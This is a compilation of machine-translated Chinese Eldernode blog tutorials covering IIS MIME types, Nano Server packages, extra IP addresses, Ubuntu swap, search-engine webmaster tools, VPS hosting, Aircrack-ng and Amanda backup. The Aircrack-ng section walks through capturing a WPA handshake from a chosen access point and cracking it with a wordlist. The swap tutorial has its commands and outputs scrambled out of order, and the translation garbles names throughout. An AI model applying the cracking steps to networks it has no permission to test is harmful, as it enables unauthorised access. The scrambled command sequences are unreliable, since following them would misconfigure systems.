将 mimetype 添加到 Windows 服务器
有三种方法可以添加 mime 类型:
-
- 点击控制面板中的网站选项。
-
- 点击所需网站的名称。
-
- 选择与 mime tyoe 相关的页签。
-
- 点击添加 Mime 按钮。
-
- 在扩展名部分,输入文件格式和 mimetype。部分,根据列表输入其值。
解决方案 2:通过 iis 添加
- 1)在服务器上打开 Iis。
- 2)选择所需的网站。
- 3)单击 Mime 类型按钮。
- 4)确保 iis 的默认 mime 类型列表中没有相应的 mime 类型。如果没有,请单击添加。
- 5)输入 mimetype 信息。
解决方案 3:添加到 webconfig
1)打开网站的 web 配置文件。
- 2)在标签中输入 mime 类型信息。
- 例如:
如有疑问或问题,可向提问系统咨询,提供指导。
<configuration> <system.webServer> <staticContent> <mimeMap fileExtension=".mp4" mimeType="video/mp4" /> <mimeMap fileExtension=".m4v" mimeType="video/m4v" /> </staticContent> </system.webServer> </configuration>
祝你好运。
Good Luck.
如何向纳米服务器添加角色包-教程纳米服务器
如何给纳米服务器添加角色包? 如你所知,要在纳米服务器中安装角色,你必须在准备 VHD 纳米服务器时添加软件包。 如果您还没有添加包,在本文中我们将教您如何将角色包添加到 Nano 服务器。
向 Nano 服务器添加角色包
1。 通过 PowerShell 连接你的 Nano 服务器。
如果使用 PowerShell Direct 连接到您的 Nano 服务器有问题,请使用 Nano 服务器连接教程。
2。 然后输入以下命令将 NanoServerPackage 包添加到您的 Nano 服务器:
Install-Module -Name NanoServerPackage -SkipPublisherCheck -force Install-PackageProvider NanoServerPackage Set-ExecutionPolicy RemoteSigned -Scope Process Import-PackageProvider NanoServerPackage
3。 执行上述命令后,输入以下命令查看完整的已安装和可用的软件包 :
Find-PackageProvider -name *
4。 通过下面的命令收到想要的列表后,安装你的想要的包在线:
Install-NanoserverPackage -name *
在上面的 命令中,输入所需包的名称,而不是 ***** 。
5。 下面是一个的纳米服务器包列表。
纳米服务器包列表
Microsoft-NanoServer-BootFromwin-Package
Microsoft-NanoServer-Guest-Package
Microsoft-NanoServer-FailoverCluster-Package
Microsoft-NanoServer-SCVMM-Package
Microsoft-NanoServer-IIS-Package
Microsoft-NanoServer-OEM-Driver-Package
Microsoft-NanoServer-SecureStartup-Package
Microsoft-NanoServer-DSC-Package
Microsoft-NanoServer-DCB-Package
Microsoft-NanoServer-Defender-Package
Microsoft-NanoServer-DNS-Package
Microsoft-NanoServer-Host-Package
Microsoft-NanoServer-SCVMM-Compute-Package
Microsoft-NanoServer-NPDS-Package
Microsoft-NanoServer-Containers-Package
Microsoft-NanoServer-Storage-Package
Microsoft-NanoServer-ShieldedVM-Package
Microsoft-NanoServer-Compute-Package
6。 现在以为例我们要安装 DNS 包。 输入的命令如下:
Install-NanoserverPackage -name Microsoft-NanoServer-DNS-Package
注意 : 在所有安装步骤中,Nano 服务器必须连接到互联网。
亦作,见:
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者想解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何在 Windows Server 2016 上添加第二个 IP-elder node
原文:https://blog.eldernode.com/add-second-ip-on-windows-server-2016/
之前你已经知道了在 Ubuntu 和 Debian 上添加第二个 IP。那么我们来回顾一下如何在 Windows Server 2016 上添加第二个 IP。选择您最理想的 Windows VPS 服务器软件包。
当您的 Windows 服务器连接到两个独立的网络,而这两个网络没有相互路由连接时,需要配置第二个 IP。在这种情况下,您需要在网络设置中添加第二个 IP 地址。
在本教程中,我们将了解如何在网络设置中添加多个 IP 地址。
注意: 在 Windows Server 2008、2012 及其家族中可以使用下面的教程。
如何在 Windows Server 2016 上添加第二个 IP
1- 首先,登录你的 Windows 桌面环境。
2- 然后按 Winkey + R 打开 Run 窗口。
3- 在此窗口中,输入短语 ncpa.cpl 返回网络连接窗口。
请注意,打开网络适配器设置的方法是快速访问方法。要访问您的网络接口设置,请执行以下操作:
a. 右键单击 Windows 任务栏中的网络连接b .
b .单击打开网络和共享中心
c. 从页面右侧选择更改适配器设置
4- 在需要添加第二个 IP 地址的界面上右键,选择属性。
5- 在您服务器的网卡设置窗口中,双击 互联网协议版本 4 将其打开。
6- 在这个窗口中,你会看到你的 2016 服务器上注册的第一个 IP 地址;点击高级。
注意: 只有手动设置第一个 IP 地址,才能设置第二个 IP 地址。
7- 进入高级环节后,点击添加。输入 IP 地址以及网络的子网掩码,最后点击 OK 。
如有必要,您将能够在同一窗口中添加新的默认网关来访问您的新网络。
8- 设置完成后,点击确定关闭打开的窗口。
向 Windows Server 2016 添加第二个 IP 的设置已完成。现在,您可以连接到新网络。
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
如何添加第二个 IP 到 Ubuntu-temporary 和永久 IP 到 Ubuntu
对于网络用户来说,需要给操作系统的网卡添加多个 IP 是很平常的事情。所以今天你将学习如何给 Ubuntu 添加第二个 IP。之前我们说了关于在 Ubuntu 上设置 IP 静态的,在本教程中,我们将回顾并教授期望的 Linux 命令。向 Ubuntu 添加第二个 IP 需要输入几个命令。
如何给 Ubuntu 添加第二个 IP
你可以通过两种方式向 Ubuntu 添加第二个 IP。
1–临时
2–永久
如何添加第二个临时 IP
1–进入你的 Linux Ubuntu 终端环境。
2 。输入以下命令添加第二个 IP。
sudo ifconfig eth0:0 192.168.1.2 netmask 255.255.255.0 up
在上面的例子中,你应该将地址 192.168.1.2 添加到 Ubuntu 中作为第二个 IP。
注: 上述 IP 命令在 foot 系统重启前有效,在操作系统重启后将被删除。
你需要自己的 Ubuntu VPS 吗?加入我们这里
如何添加第二个永久 IP
1–进入你的 Linux Ubuntu 终端环境。
2–用编辑器打开/ etc/network/interfaces 文件。
3–在打开的文件末尾输入以下短语。
nano /etc/network/interfaces
输入您想要的 IP 地址,而不是书写的 IP 地址。
auto eth0:0 iface eth0:0 inet static address 192.168.1.2 network 192.168.1.0 netmask 255.255.255.0
注: 本节重点是添加了 eth0:0 选项,必须遵循,其余几行就像设置第一个 IP 一样。
4–保存文件并退出。
5–关闭/打开添加的虚拟卡一次,命令如下。
在这一部分中,附加的 IP 被完成。观看为了不失去我们的未来相关文章。
ifdown eth0:0 ifup eth 0:0
亲爱的用户,我们希望您喜欢本教程,您可以在评论区提出关于本次培训的问题,或者解决老年节点培训领域的其他问题,请参考提问页面部分并在其中提出您的问题。
Dear user, we hope you would enjoy this tutorial, you can ask questions about this training in the comments section, or to solve other problems in the field of Eldernode training, refer to the Ask page section and raise your problems in it.
如何在 Ubuntu 20 上添加交换空间 Ubuntu 20.04 交换分区
原文:https://blog.eldernode.com/add-swap-space-on-ubuntu-20-04/
作为管理员,您在应用程序中会遇到内存不足的错误。在这篇文章中,我们将学习如何在 Ubuntu 20.04 上添加交换空间。加入我们来看看在您的服务器上添加了交换空间之后,您可以多么容易地防范这个问题。
如何在 Ubuntu 20.04 上添加交换空间
什么是互换?
虽然 RAM 不能再保存一些数据,但硬盘上有一个区域被指定为操作系统可以临时存储数据的地方。这个区域被称为 Swap。换句话说,当 RAM 中没有足够的空间来保存正在使用的应用程序数据时,您可以增加服务器在其工作“内存”中可以保存的信息量。
虽然写入磁盘的信息会慢一些(比保存在 RAM 中的信息慢),但操作系统更喜欢将运行的应用程序数据保存在内存中,并使用交换。
1-检查系统互换信息
首先,检查系统中是否有可用的交换空间。一个应该足够了,尽管有可能有多个交换文件或交换分区,
要验证这一点,请键入以下命令
sudo swapon --show
如果您没有收到任何输出,这意味着系统当前没有可用的交换空间。
要检查是否有任何活动的交换,使用 free 实用程序
free -h Output total used free shared buff/cache available Mem: 990Mi 36Mi 863Mi 4.0Mi 89Mi 837Mi Swap: 0B 0B 0B
2-检查硬盘分区上的可用空间
要检查当前的磁盘使用情况以确保有足够的空间,请输入以下命令。
df -h
输出
Filesystem Size Used Avail Use% Mounted on udev 488M 0 488M 0% /dev tmpfs 100M 4.5M 96M 5% /run /dev/vda1 25G 989M 23G 5% / tmpfs 499M 0 499M 0% /dev/shm tmpfs 5.0M 0 5.0M 0% /run/lock tmpfs 499M 0 499M 0% /sys/fs/cgroup tmpfs 100M 0 100M 0% /run/user/1001
3-创建一个交换文件
现在,您可以在您的文件系统上创建一个交换文件,因为您知道您的可用硬盘空间。要创建一个交换文件,使用 fallocate 程序创建一个指定大小的文件。您需要创建一个 1G 的文件,而下例中的服务器有 1G 的 RAM。
要验证保留的空间量是否正确,请输入以下命令。
`sudo fallocate -l 1G /swapfile`
输出
`ls -lh /swapfile`
**[购买 Linux 虚拟专用服务器](https://eldernode.com/linux-vps/)**
`-rw-r--r-- 1 root root 1.0G May 29 17:34 /swapfile`
4-启用交换文件
虽然该文件具有正确的大小,但是您应该将它转换为交换空间。为了让只有拥有 **root** 权限的用户才能读取内容,锁定文件的权限。
使用以下命令,使该文件只能由 root 用户访问,
如果您想检查权限更改,请键入下面的命令。
``sudo chmod 600 /swapfil``
输出
``ls -lh /swapfile``
键入以下命令,将文件标记为交换空间:
``-rw------- 1 root root 1.0G May 29 17:34 /swapfile``
输出
``sudo mkswap /swapfile``
您可以在标记文件后启用交换文件,以允许系统开始使用它。
``Setting up swapspace version 1, size = 1024 MiB (1073737728 bytes) no label, UUID=b591444e-c12b-45a6-90fc-e8b24c67c006f``
要检查交换是否可用,请输入以下命令。
``sudo swapon /swapfile``
输出
``sudo swapon --show``
您可以再次检查 free 实用程序的输出来证实您的发现:
``NAME TYPE SIZE USED PRIO /swapfile file 1024M 0B -2``
输出
``free -h``
5-使交换文件永久
``total used free shared buff/cache available Mem: 990Mi 37Mi 860Mi 4.0Mi 92Mi 834Mi Swap: 1.0Gi 0B 1.0Gi``
最近的更改为当前会话启用了交换文件。如果重新启动,服务器将不会自动保留交换设置。要改变这一点,将交换文件添加到您的 /etc/fstab 文件中。
如果你遇到任何问题,备份 /etc/fstab
sudo cp /etc/fstab /etc/fstab.bak
使用下面的命令,将交换文件信息添加到您的 /etc/fstab 文件的末尾。
6-调整您的交换设置
要配置系统将数据从 RAM 交换到交换空间的频率,可以使用 swappiness 参数。您可以看到一个介于 0 和 100 之间的值,代表一个百分比。接近 100 的值会尝试将更多的数据放入交换区,以释放更多的 RAM 空间。
```echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab```
您可以通过键入以下命令来查看当前的交换度值:
输出
此外,您可以使用 sysctl 命令将交换度设置为不同的值。
```cat /proc/sys/vm/swappiness```
要将交换度设置为 10,您可以键入:
``60``
输出
通过将该行添加到您的 /etc/sysctl.conf 文件中,您可以在重启时自动设置该值
``sudo sysctl vm.swappiness=10``
此外,您还可以添加:
``vm.swappiness = 10``
**/etc/sysctl.conf**
``sudo nano /etc/sysctl.conf``
完成后,保存并关闭文件。
``vm.swappiness=10``
您还可以修改 vfs_cache_pressure ,以配置系统将选择在多大程度上缓存 inode 和 dentry 信息,而不是其他数据。然而,这是关于文件系统的访问数据,查找成本很高,并且经常被请求。再次通过查询 proc 文件系统来检查当前值:
输出
您可以通过键入以下命令将其设置为更保守的值,如 50:
``cat /proc/sys/vm/vfs_cache_pressure``
此外,您可以通过将它添加到我们的配置文件中来更改它。
``100``
最后,添加指定新值的行:
``sudo sysctl vm.vfs_cache_pressure=50``
``sudo nano /etc/sysctl.conf``
**/etc/sysctl.conf**
完成后,保存并关闭文件。
``vm.vfs_cache_pressure=50``
亲爱的用户,我们希望你会喜欢这个关于如何在 Ubuntu 20.04 上添加交换空间的教程。你可以在评论区提出关于这个培训的问题,或者解决 [Eldernode 培训](https://eldernode.com/blog/)领域的其他问题,请参考[提问页面](https://eldernode.com/ask)部分并在其中提出你的问题。
**同样,参见**
[Linux 中如何清除缓存缓冲区和交换内存](https://eldernode.com/how-to-clear-cash-buffer-and-swap-memory-in-linux/)
**Also, see**
[How to clear cache buffer and swap memory in Linux](https://eldernode.com/how-to-clear-cash-buffer-and-swap-memory-in-linux/)
教程将网站添加到 Bing 网站管理员 2021 - Eldernode 博客
原文:https://blog.eldernode.com/add-website-to-bing-webmaster/
搜索引擎一直是网络和互联网不可或缺的一部分。Bing 网站管理员工具是由 Bing 设计的专业 SEO 工具之一,提供给网站管理员来检查和控制他们的网站在 Bing 搜索引擎中的状态。谷歌不是唯一受益于网站管理员工具的搜索引擎。Bing 是世界上第二受欢迎的搜索引擎,它的网站管理员工具有一些功能,其中一些你可能在 Google 网站管理员上找不到。本文介绍教程添加网站给必应站长。要购买便宜的 VPS 即时激活,在 Eldernode 上订购你需要的东西。
如何给必应站长添加网站
Bing 网站管理员工具是由微软提供的免费网络服务。它提供谷歌没有的额外免费搜索引擎优化工具(反向链接、关键词研究工具、搜索引擎优化报告)。需要(至少)一个反向链接,Bing 才能找到它。要让你的企业在 Bing 上上市,不需要网站管理员工具,因为它会自动发现、呈现和索引你的网站。但是建议您手动将网站的 URL 提交到 Bing 网站管理员工具,以接触更多的受众。此外,必应发展迅速,其排名算法与谷歌不同,因此,让我们为您的网站带来更多流量。
要向 Bing 网站管理员工具提交您的网站,您需要遵循以下步骤。一点也不复杂,只要确保做对就行了。要将您的站点添加到搜索控制台帐户,您需要证明您拥有该站点。此外,当您添加网站时,管理搜索控制台访问 Bing 网站管理员工具将通过访问您的搜索控制台帐户定期验证网站所有权状态。
如何从谷歌搜索控制台导入
为新用户添加网站有两种方式。我们来回顾一下第一种方式。
如果你有一个谷歌搜索控制台的验证帐户,你可以直接将你的用户信息导入 Bing。Bing 网站管理员工具需要权限 才能从您的搜索控制台帐户访问信息,以显示您的谷歌搜索控制台帐户中已验证的网站列表,以及网站地图的数量和每个网站的相应角色。然后,您将能够选择您想要添加到 Bing 网站管理员工具的站点,并点击导入。如果您没有遇到任何问题,所选网站将被添加到 Bing 网站管理员工具中并自动验证。
如何手动给必应站长添加网站
添加网站的第二种方法是手动完成。
首先,你必须通过你的一个流行浏览器参考 Bing 网站管理员工具。
下一步,您必须登录您的账户。
因此,您可以通过在输入框中输入 URL 并点击添加来手动添加您的网站。
如下图所示,对于现有用户,您可以从左侧导航的下拉列表中添加一个网站,并继续上述相同的步骤。
当您添加一个网站时,系统需要大约 48 小时来生成分析和数据。然而,如果你需要删除你添加的任何一个网站,通过更多选项进入左侧导航本身。
到查看与您的 Bing 网站管理员工具帐户关联的搜索控制台帐户列表。然后,进入剖面部分。您还可以阻止 Bing 网站管理员工具访问您的搜索控制台帐户。为此,您需要选择档案部分中账户详情旁边的断开选项。
如何验证自己网站的所有权
当你确定一个新的网站被添加到你的帐户,是时候通过证明所有权来验证你拥有这个网站。要完成这个添加,有四种所有权验证方式。在下面,你可以回顾所有这四种方法来选择最适合你的网站。
1- DNS 自动验证
在这种方法中,您应该登录您的 DNS 账户,CNAME 将自动添加到 DNS 账户中。为了自动检测 DNS 提供商并接管 CNAME 插入任务,Bing 网站管理员工具支持域连接标准。由于域名连接应由 DNS 提供商采用,因此只有采用域名连接并与 Bing 合作的 DNS 提供商才能看到验证选项。
只是在某些情况下,向 Bing 网站管理员发送网站所有权信号对于 DNS 提供商来说可能很耗时。否则,在成功登录后,该网站将在几秒钟内在 Bing 网站管理员工具中得到验证。
2- XML 文件认证
第二种方式允许您使用 XML 文件身份验证。为此,您需要保存定制的 XML 文件,其中包含您定制的所有权验证码。点击 BingSiteAuth.xml 保存文件并上传到注册站点的根目录。
3-元标签认证
要使用第三种方法,请遵循以下路径:
_ 将显示的 < meta / > 标签和您自定义的所有权验证码复制到剪贴板。
_ 在 web 开发环境编辑器中打开您的注册站点的默认页面,并将代码粘贴到 < head > 部分的末尾
最后,确保 <头> 段后跟一个 <体> 标记。然后,上传包含新 < meta / > 标签的修改后的默认页面文件到你的站点。
4-将 CNAME 记录添加到 DNS
如果网站不支持域连接协议,您将无法看到并使用此方法进行验证。但是如果你可以使用最后一种方法,你必须访问你的域名账户,因为你只能在你的账户内编辑 CNAME 记录。
保留发送给您的一系列数字和字母(验证码)。一旦您完成编辑,您的网站所有权将得到验证。
结论
根据一项协议,必应和雅虎不再是两个独立的平台。它们使用 Bing 开发的一种算法进行合并。所以,如果你把你的网站提交给必应,你就自动为雅虎这么做了。总之,无论 Bing 对什么页面进行索引,Yahoo 都会对相同的页面进行索引。在这篇文章中,你学习了如何将你的网站添加到 Bing 网站管理员中。
[yasr _ visitor _ votes size = " medium "]
教程添加网站到 Yandex 站长 2021 - Eldernode 博客
原文:https://blog.eldernode.com/add-website-to-yandex-webmaster/
尽管有谷歌这样强大的搜索引擎,但设计新搜索引擎的想法是徒劳的。然而,这些原生搜索引擎的使用统计数据是不可否认的,这表明了这些服务的受欢迎程度和不同的性能。目前,世界上有 200 多个基础设施不同的搜索引擎和超级大国,如谷歌,提供他们独特的服务。Yandex 是俄罗斯人中最受欢迎的搜索引擎。因为它已经能够捕获俄罗斯互联网用户 60%的搜索量。它也被称为世界上第四大最受欢迎的搜索引擎。在本文中,您将学习教程向 Yandex 站长添加网站。如果您希望购买 Buy VPS 服务,可以访问 Eldernode 提供的套餐。
如何给 Yandex 站长添加网站
Yandex 是一家俄罗斯公司,它的大部分人气来自同名搜索引擎。该引擎最初只在 yandex.ru 提供,但现在在 yandex.ru 可以找到世界和英语版本。在这篇文章中,我们将教你如何添加一个网站到 Yandex 网站管理员。为此,只需遵循以下步骤。
在 Yandex 开户
要添加网站,您需要在做任何事情之前创建一个 Yandex 帐户。在打开的页面上,您必须在相关字段中输入所需信息,然后点击注册。
请注意,您可以使用安全问题来代替输入您的手机号码。这是必要的,当你可能需要恢复你的帐户。
将您的网站添加到 Yandex 站长
成功创建账户后,下一步,您应该访问 webmaster.yandex 网站。
如下图所示,你必须点击进入。
下一步,您需要点击添加站点。
现在你需要输入你想要的网站名称,点击添加。重要的是在输入 HTTP 或 HTTPS 时要小心。
如何在 Yandex 上验证自己的网站
注册了你想要的网站后,就该验证了。该部分包含三个字段,下面将对每个字段进行解释。
1) HTML 文件:使用此部分,您可以将 HTML 文件上传到您站点的主目录,如下所示:
- Meta 标签:使用这个部分,你可以添加一个 HTML 标签到你的站点的标题部分。
3) DNS 记录:最后,您可以使用此部分将 TXT 记录添加到您的 DNS 设置中。
一旦您完全熟悉了本节的描述,您现在就可以简单地将文本复制到内容中,如下所示。然后你需要在你的 SEO 插件中输入它,不管是 Yoast 还是 All in One SEO 插件。
为此,您必须遵循以下步骤:
第一步,复制所需的验证码。
然后转到您的网站仪表板。如果你使用的是 Yoast SEO 插件,你必须点击通用。
现在你需要将从网站管理员工具标签中复制的代码粘贴到 Yandex 验证码部分。
最后,点击保存 修改保存您的设置。
如果你正在使用 All in One SEO 插件,你必须点击通用设置。然后点击网站管理员工具标签,从图片中选择 Yandex 。
最后,输入相关代码后,点击保存更改。
在你成功完成你想要的 SEO 插件中的上述步骤后,你现在应该返回到你复制代码的 Yandex 网站管理员工具页面。点击查看按钮,在 Yandex 网站管理员中注册您的网站。
结论
Yandex 是一家俄罗斯互联网公司,在全球多个国家开展业务。它是俄罗斯最大的技术公司,为客户提供广泛的产品和服务。Yandex 以拥有俄罗斯最大的搜索引擎而闻名,但它也在科技和互联网的许多其他领域开展业务。在这篇文章中,我们试图一步一步地教你如何添加一个网站到 Yandex 网站管理员。
高级- ElderNode 博客
版权所有 2019-2022 Eldernode。版权所有
VPS - ElderNode 博客的利与弊
原文:https://blog.eldernode.com/advantages-and-disadvantages-of-vps/
VPS 的优缺点。在本文中,我们将介绍 VPS 托管,并考察其优势和劣势。为了有一个网上业务,虚拟主机对于在服务器上托管网站文件是必不可少的。此外,你的网站应该在互联网上,网络搜索可以找到它。
有许多类型的虚拟主机,每一种都有自己的优点和缺点。选择最佳的主机选项取决于你的情况和需求,了解每种类型主机的特点将有助于你为你的网站和业务做出最明智的决定。
虚拟主机的类型
1。 共享托管
2。 专门主持
3。 虚拟主机或 VPS
1。共享托管
共享主机,顾名思义,在多个网站之间共享所有的服务器资源。所以才更便宜;但是如果这些网站中的一个使用了过多的服务器资源,服务器上的所有网站都将面临速度低和无法在互联网上获得该网站的问题。
还有一个安全问题,因为感染一个站点会感染整个服务器。
用户控制通常较低。
2。专用主机
专用主机将整个服务器专用于一个网站,这就是它如此昂贵的原因。
专用主机也有许多好处,包括速度、更好的控制和更高的安全性。
3。 VPS 虚拟主机
VPS 虚拟主机是最近流行的最新类型的虚拟主机之一。VPS 代表虚拟专用服务器。
VPS 虚拟主机经常让许多人和企业在为他们的网站寻找虚拟主机选项时感到困惑。这是因为它是一个混合 VPS 或者是共享和专用托管的组合。因此,人们对这个术语感到困惑,不确定这个选项是否适合他们网站托管的目的和需求,这并不奇怪!
跟随我们阅读这篇文章,了解更多关于 VPS 主机及其优缺点的信息。
什么是 VPS 虚拟主机?
一个 VPS 服务器是一台被分区的计算机,这样每个操作系统 分区都有自己的磁盘空间和带宽。
位于托管公司数据中心的真实服务器用于托管 VPS 。这个服务器被分成不同的部分,每个部分组成一个 VPS 服务器。
在 VPS 服务器上的主机账户所有者只能看到他们自己的虚拟空间,并且可以重启该空间或者将其用作专用服务器。
这个虚拟空间就像一个专用服务器,但实际上是真实服务器的一部分。由于这种与专用服务器的相似性,VPS 对于未来可能需要一个专用服务器但还没有准备好的网站来说是一个很好的解决方案。
注: VPS 托管是共享托管和私人托管之间的桥梁。
VPS 托管适合哪些网站?
许多主机客户更愿意购买 VPS 主机,因为他们比共享主机对服务器空间有更多的控制权。即使 VPS 主机中的所有资源分配不是必需的,共享主机对他们来说也是足够的,拥有额外的控制权是值得的。
对于希望拥有一个专用托管空间但对所需的技术知识持怀疑态度的个人和企业来说, VPS 托管是一个很好的起点,可以积累经验并为专用托管做准备。在这种情况下,他们尝试了 VPS 主机,获得了更多的技能,而不必支付专用主机的高昂成本。
像所有类型的虚拟主机一样,VPS 主机有它的优点和缺点,并且只适用于某些情况。
VPS 的优缺点。
VPS 托管的好处是什么?
在 VPS 服务器上托管网站有很多好处,包括:
——一个 VPS 托管账户比使用整个真实服务器的完全专用的托管计划要便宜。
— 许多 VPS 计划可以根据您的需求定制。
— 许多 VPS 托管计划都很容易扩展。你可以从资源最少的网络空间开始,然后随着网站的发展逐渐增加托管计划,以满足你的新需求。在这种情况下,您不必为尚不需要的额外资源付费。
——你对虚拟服务器的控制权比共享托管更大。您可以访问 root 用户,并且能够使用共享主机空间中不允许使用的脚本。
——对于大多数技术问题,你将获得与共享托管一样多的支持服务。
— 您可以选择托管公司为您提供一些站点维护服务的半管理式托管选项。
VPS 托管的缺点是什么?
从理论上讲,VPS 托管是一种利用不贵的专用服务器服务的好方法。但是,有问题!
主要的缺点是与 T2 的财政问题有关,因为它比共享主机更贵。对于不需要专用服务器的站点,VPS 服务器的成本非常昂贵。当然,VPS 服务器没有专用服务器贵,但是比共享托管贵!
从服务的角度来看、 VPS 虚拟主机可能会有更多的问题!
一些虚拟主机公司提供虚拟主机服务,但不合理地分配服务器资源,如果一个站点使用了所有的资源到允许的限度,这对实际服务器上的站点所有者和其他站点来说可能是一个问题。
注意: 如果一台服务器上的站点使用了它们所有的资源,服务器就会出现问题,影响到该服务器上的所有站点。处理这个问题的一个方法是在注册时询问一个服务器上一次有多少个虚拟账户。
VPS 主机为您的网站提供所需的功能和可扩展性。
VPS 虚拟主机是共享主机和专用主机之间的一座巨大桥梁。它的主要优势是能够让完全控制托管空间,这类似于专有托管计划,但没有那么昂贵。
注: 如果你的托管公司没有妥善管理你的 VPS,你可能会遇到问题。如果你选择 Eldernode 并且有能力支付 VPS 托管费用,VPS 是你的绝佳选择!
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者想解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
VPS 的优缺点。
好运。
Goodluck.
教程在 ubuntu 20.10 上安装和使用 air crack-Ng-elder node
教程在 ubuntu 20.10 上安装和使用 Aircrack-Ng。 Aircrack-ng 是一个 WEP 和 WPA-PSK 802.11 密码破解程序,可以在攻击足够多的数据包后恢复密码。这种攻击实现了 FMS 标准以及一些优化,如 KoreK 攻击以及一种全新的 PTW 攻击。因此,Aircrack-ng 执行攻击的速度比其他 WEP 破解工具快得多。在这篇文章中,我们将教你如何在 ubuntu 20.10 上安装和使用 Aircrack-Ng。如果你需要购买 Linux VPS 服务器,可以在 Eldernode 中看到可用的包。
空气裂解及其应用简介
Aircrack 是一套用于测试入侵 WiFi 网络的安全工具。aircrack-ng 是一套强大的工具,用于检测、记录和分析数据包,并破解 WEP 和 PSK-WPA 密钥。这个工具是十大黑客和安全工具之一。
aircrack-ng 工具可以支持 802.11/a/b/g 等多种标准,该工具不仅具有测试网络上入侵的能力,还具有攻击网络的能力,允许黑客获取网络密码。
Aircrack 工具包包括以下应用:
1。Aircrack-nj 工具:wpa、psk 和 wep 版本的破解工具
2。Airdecap-ng 工具: 解密 wep 和 wpa 的工具
3。air mon-ng tool:air crack-ng tool 的工具之一,用于监控。将网卡置于监控模式。
4。air replay-ng tool:
5。Airodump-ng 工具: 监听数据包的工具
6。Airtun-ng 工具: 创建虚拟隧道的工具
7。Packetforge-ng 工具: 生成加密包注入包的工具
8。Ivstools 工具: 用于合并、转换或绑定的工具
9。Airbase-ng: 包含各种攻击网络技术的工具
10。air declock-ng tool:清除 wep 的 aircrack-ng 工具之一
11。Airolib-ng 工具: 是一个管理和存储 essid 和密码列表的工具
12。Airserv-ng 工具: 允许从其他电脑访问无线网卡的工具。
13。Easside-ng 工具: 用于无 wep 密钥通信的工具
14。Buddy-ng 工具: 该工具对之前的工具进行补充,远程运行之前的工具
15。Tkiptun-ng 工具: 该工具用于执行 tkip / wpa 攻击
16。wessed-ng 工具: 该工具具有自动恢复 wep 的能力。
air crack-ng 工具的用途是什么?
一般来说,该工具用于 4 个领域:
1。测试:检查 wifi 网卡和驱动注入能力
2。破解:能够绕过并破解不同的标准和协议,如 wpa、psk 和 wep 版本
3。监控:在这种模式下,它接收数据包并准备数据供第三方工具处理。
4。攻击:借助封闭注入创建假接入点。
如何在 ubuntu 20.10 上安装和使用 air crack-Ng
空调很容易安装。您可以使用以下 apt 命令轻松安装所有 Aircrack-ng 工具:
sudo apt-get update sudo apt-get install -y aircrack-ng
下面,为了让你更熟悉这个工具,我们举个例子,告诉你怎么找密码。
第一步,使用 iwconfig 命令,您可以列出连接到您系统的所有 Wi-Fi 卡:
注: 本教程中使用了一款名为 wlxc83a35cb4546 的无线网卡。
在下一步中,使用 airmon-ng 清除无线网卡上所有正在运行的进程。
[[email protected]](/cdn-cgi/l/email-protection):~$ sudo airmon-ng check kill Start Monitor mode on ‘wlxc83a35cb4546’ by typing [[email protected]](/cdn-cgi/l/email-protection):~$ sudo airmon-ng start wlxc83a35cb4546
您将看到,在下一步中,airmon-ng 已经在无线卡上启动了监控模式。它将显示为不同的名称“ wlan0mon ”。您需要再次运行 iwconfig 来浏览无线细节:
现在是时候使用 airodump-ng 工具查看附近的无线接入点了:
要捕获握手,您需要使用“–write”选项保存您的数据包。
注: 握手包含了加密的密码。
[[email protected]](/cdn-cgi/l/email-protection):~$ sudo airodump-ng --bssid 6C:B7:49:FC:62:E4 -c 11 wlan0mon --write /tmp/handshake.cap --bssid : Access Point’s MAC Address -c : Access Point’s channel [1-13] --write : Stores captured packets at a defined location
使用以下命令,使用air replay-ng实用程序从该接入点取消其他设备的认证:
握手存储在 '/tmp/' 目录中,包含加密密码。为了破解本例中的密码,我们将使用 Aircrack-ng:
[[email protected]](/cdn-cgi/l/email-protection):~$ sudo aircrack-ng /tmp/handshake.cap-01.cap -w /usr/share/wordlists/rockyou.txt -w : Specify the dictionary location
在下一步中,Aircrack-ng 会检查密码,在找到所需密码后,它会显示如下:
最后,您可以使用以下命令停止监控模式,然后重启网络管理器:
[[email protected]](/cdn-cgi/l/email-protection):~$ sudo airmon-ng stop wlan0mon [[email protected]](/cdn-cgi/l/email-protection):~$ sudo service network-manager restart
结论
分析、渗透和攻击无线网络的最强软件包之一叫做 Aircrack-ng。这个软件包由几个非常有用的工具组成,用于分析、窃听和渗透无线网络。在本教程中,我们在解释了 Aircrack-ng 及其工具和应用程序后,尝试通过一个实际例子来教您如何找到 WiFi 密码。
AlmaLinux 教程- ElderNode 博客
版权所有 2019-2022 Eldernode。版权所有
介绍 Amanda Linux 备份工具- Eldernode 博客
心理学家说“从不”,但程序员说“总是”。回顾过去会让你的生命处于危险之中,但是为你的服务器提供备份是至关重要的。加入我们的文章,介绍用于 Linux 的 Amanda 备份工具。毫无疑问,作为管理员,你理解使用备份软件的紧迫性,而作为用户,你也多次被建议这样做。Amanda 是一款开源备份软件。既然 Amanda 被认为是最受欢迎的存档工具,那么是时候看看它的秘密了!我猜在本教程结束之前,你都会是它的粉丝之一,所以不要错过我们完美的 Linux VPS 软件包,以便能够立即使用 Amanda。
Amanda Linux 备份工具
作为 IT 管理员,AadvancedMaryl 和AautomaticNnetworkDISKAarchive 帮助您提供单一主备份服务器。可以为网络上的多台主机或多台计算机进行备份。如果您想知道备份到哪里,硬盘、网络存储、光学介质或传统磁带是等待备份的地方。Dump 或 GNU tar 是它的备份格式。这些本机实用程序允许用户选择将文件从一个目录移动到另一个目录的位置,删除文件,并最终保证最正确的行为。使用 Amanda 可以为运行多个版本的 Linux、Unix、Mac OS X 和 Window 的服务器进行备份。此外,如果你使用微软视窗系统,阿曼达能够备份其桌面和用户。由于 Amanda 的工作方式与其他备份程序不同,在最初几天你可能会面临一些根本性的差异,但他们已经尝试在 Amanda 网站上发现并回答新用户的常见问题。在撰写本文时,Amands 最稳定的版本是 3 . 4 . 5,并得到了 BETSOL 公司的支持。
注意 : Amanda 是开源的备份应用。 Zmanda 是赞助 Amanda 发展的公司。
